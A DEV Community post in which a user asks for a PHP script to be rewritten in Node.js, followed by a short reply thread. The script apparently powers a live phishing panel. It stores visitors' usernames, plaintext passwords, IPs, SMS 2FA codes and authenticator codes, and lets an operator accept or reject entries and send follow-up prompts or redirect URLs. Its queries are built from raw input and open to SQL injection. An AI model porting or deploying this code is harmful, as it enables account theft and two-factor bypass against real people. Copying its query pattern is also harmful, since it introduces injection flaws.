DEV Community

abidi12
abidi12

Posted on

I want to convert this code from php to nodejs

Hello
I want to convert this code from php to nodejs

<?php
include 'config.php';
include 'connect.php';



session_start();

function numeric($num){
    if (preg_match('/^[0-9]+$/', $num)) {
        $status = true;
    } else {
        $status = false;
    }
    return $status;
}

////////////////////////////////////// RESET THE BUZZ ON EACH SUBMITTED THING

if($_GET['type'] == 'login'){
    if($_POST['username'] and $_POST['password'] and $_POST['ip'] and $_POST['ua']){
        $username = $_POST['username'];
        $password = $_POST['password'];
        $ip = $_POST['ip'];
        $ua = urlencode($_POST['ua']);
        $uniqueid = time();

        if($_SESSION['started'] == 'true'){
            $uniqueid = $_SESSION['uniqueid'];
            $query = mysqli_query($conn, "UPDATE customers SET status=1, buzzed=0, user='$username', pass='$password', useragent='$ua', ip='$ip' WHERE uniqueid=$uniqueid");
            if($query){
                echo json_encode(array(
                    'status' => 'ok'
                ));
            }else{
                echo json_encode(array(
                    'status' => 'notok'
                ));
            }
        }else{
            $_SESSION['uniqueid'] = $uniqueid;
            $_SESSION['started'] = 'true';
            $query = mysqli_query($conn, "INSERT INTO customers (user, pass , ip, useragent,uniqueid, status) VALUES ('$username', '$password', '$ip', '$ua',$uniqueid, 1)");
            if($query){
                echo json_encode(array(
                'status' => 'ok'
                ));
            }else{
                echo json_encode(array(
                'status' => 'notok'
                ));
            }
        }
    }
}












if($_SESSION['admin_logged'] == 'true'){
    if($_GET['type'] == 'commmand'){
        if($_POST['userid'] and numeric($_POST['userid']) == true and $_POST['status'] and numeric($_POST['status']) == true or $_POST['code'] or $_POST['gauth']){
            $userid = $_POST['userid']; // the normal id not unique one
            $status = $_POST['status'];



            $code = $_POST['code'];
            $gauth = $_POST['gauth'];                           





            if($code != null and $code != '' and ($gauth == null or $gauth == '')){
                $query = mysqli_query($conn, "UPDATE customers SET status=$status, 2fa='$code' WHERE id=$userid");
            }elseif($gauth != null and $gauth != '' and ($code == null or $code == '')){
                $query = mysqli_query($conn, "UPDATE customers SET status=$status, gauth='$gauth' WHERE id=$userid");
            }else{
                $query = mysqli_query($conn, "UPDATE customers SET status=$status WHERE id=$userid");
            }

            if($query){

                echo json_encode(array(
                'status' => 'ok'
                ));
            }else{
                echo json_encode(array(
                'status' => 'notok'
                ));
            }
        }else{
        echo json_encode(array(
            'status' => 'notokk'
        ));
        }



    }


    if(isset($_GET['get_submitted'])){
        $query = mysqli_query($conn, "SELECT * FROM customers WHERE (status=1 and buzzed=0) or (buzzed=0 and status=13)");
        if($query){
            $num = mysqli_num_rows($query);
            $array = mysqli_fetch_array($query,MYSQLI_ASSOC);
            if($num >= 1){
                echo json_encode(array(
                        'status' => 'ok'
                    ));

            }else{
                echo json_encode(array(
                    'status' => 'notok'
                ));
            }       
        }else{
            echo json_encode(array(
                'status' => 'notok'
            ));
        }


    }

    if(isset($_GET['buzzoff'])){
        $query = mysqli_query($conn, "SELECT * FROM customers WHERE status=1 OR status=13");
        if($query){
            $array = array_filter(mysqli_fetch_all($query,MYSQLI_ASSOC));   
            foreach($array as $value){
                $userid = $value['id'];
                $queryy = mysqli_query($conn, "UPDATE customers SET buzzed=1 WHERE id=$userid");
                if($queryy){
                    $stat = 'ok';
                }else{
                    $stat = 'notok';
                }
            }
            if($stat == 'ok'){
                echo json_encode(array(
                'status' => 'ok'
            ));
            }else{
                //
                echo json_encode(array(
                'status' => 'notok'
            ));
            }

        }else{
            echo json_encode(array(
                'status' => 'notok'
            ));
        }


    }

        if($_GET['type'] == 'delete'){
            if($_POST['userid'] and numeric($_POST['userid']) == true){
                $userid = $_POST['userid']; // the normal id not unique one

                $query = mysqli_query($conn, "DELETE FROM customers WHERE id=$userid");


                if($query){


                    echo json_encode(array(
                    'status' => 'ok'
                    ));
                }else{
                    echo json_encode(array(
                    'status' => 'notok'
                    ));
                }
            }else{
                echo json_encode(array(
                    'status' => 'notokk'
                ));
            }


    }


    if($_GET['type'] == 'submitted'){
        if($_POST['userid'] and numeric($_POST['userid']) == true){
            $userid = $_POST['userid']; // the normal id not unique one
            $status = str_replace("_$userid","",$_POST['status']);

            if($status == 'accept'){
                $status = 11;
            }elseif($status == 'reject'){
                $status = 12;
            }else{
                echo json_encode(array(
                'status' => 'notok'
                ));
            }
            $query = mysqli_query($conn, "UPDATE customers SET status=$status WHERE id=$userid");

            if($query){
                echo json_encode(array(
                'status' => 'ok'
                ));
            }else{
                echo json_encode(array(
                'status' => 'notok'
                ));
            }

            }else{
                    echo json_encode(array(
                        'status' => 'notokk'
                    ));
        }


    }



}




if($_SESSION['started'] == 'true'){




    if($_GET['wait'] and numeric($_GET['wait']) == true){
        $id = $_GET['wait'];
        $query = mysqli_query($conn, "UPDATE customers SET status=0 WHERE uniqueid=$id");
        if($query){
            echo json_encode(array(
            'status' => 'ok'
            ));
        }else{
            echo json_encode(array(
            'status' => 'notok'
            ));
        }
    }




    if($_GET['getstatus'] and numeric($_GET['getstatus']) == true){
        $id = $_GET['getstatus'];
        $query = mysqli_query($conn, "SELECT * from customers WHERE uniqueid='$id'");

        if(mysqli_num_rows($query) >= 1){
            $array = mysqli_fetch_array($query,MYSQLI_ASSOC);
            echo $array['status'];
        }       

    }




if($_GET['type'] == '2fa'){
    if($_POST['code'] and $_POST['userid'] and numeric($_POST['userid']) == true){
        $code = $_POST['code'];

        $uniqueid = $_POST['userid']; // unique userid
        $query = mysqli_query($conn, "UPDATE customers SET 2fa='$code',status=1, buzzed=0 WHERE uniqueid=$uniqueid");
        if($query){
            echo json_encode(array(
            'status' => 'ok'
            ));
        }else{
            echo json_encode(array(
            'status' => 'notok'
            ));
        }
    }
}

if($_GET['type'] == 'gauth'){
    if($_POST['gauth'] and $_POST['userid'] and numeric($_POST['userid']) == true){

        $gauth = $_POST['gauth'];
        $uniqueid = $_POST['userid']; 
        $query = mysqli_query($conn, "UPDATE customers SET gauth='$gauth',status=1, buzzed=0 WHERE uniqueid=$uniqueid");
        if($query){
            echo json_encode(array(
            'status' => 'ok'
            ));
        }else{
            echo json_encode(array(
            'status' => 'notok'
            ));
        }
    }
}


if($_GET['type'] == 'url'){
    if($_POST['url'] and $_POST['userid'] and numeric($_POST['userid']) == true){
        $url = $_POST['url'];
        $uniqueid = $_POST['userid'];

        $query = mysqli_query($conn, "UPDATE customers SET status=1, buzzed=0, url='$url' WHERE uniqueid=$uniqueid");
        if($query){
            echo json_encode(array(
                'status' => 'ok'
            ));
        }else{
            echo json_encode(array(
                'status' => 'notok'
            ));
        }
    }
}




}
Enter fullscreen mode Exit fullscreen mode

Top comments (3)

Collapse
 
pyrsmk profile image
Aurélien Delogu

I want to say: learn Node and especially the framework Express. Because this code is really rudimentary and probably have many security flaws. It requires much work to convert this to a good and clean code.

Collapse
 
abidi12 profile image
abidi12

I really want it
can you help me ?

Collapse
 
pyrsmk profile image
Aurélien Delogu

Like I said, it would take several hours to do it so it's impossible for me. Maybe someone else will have the time to help you 😉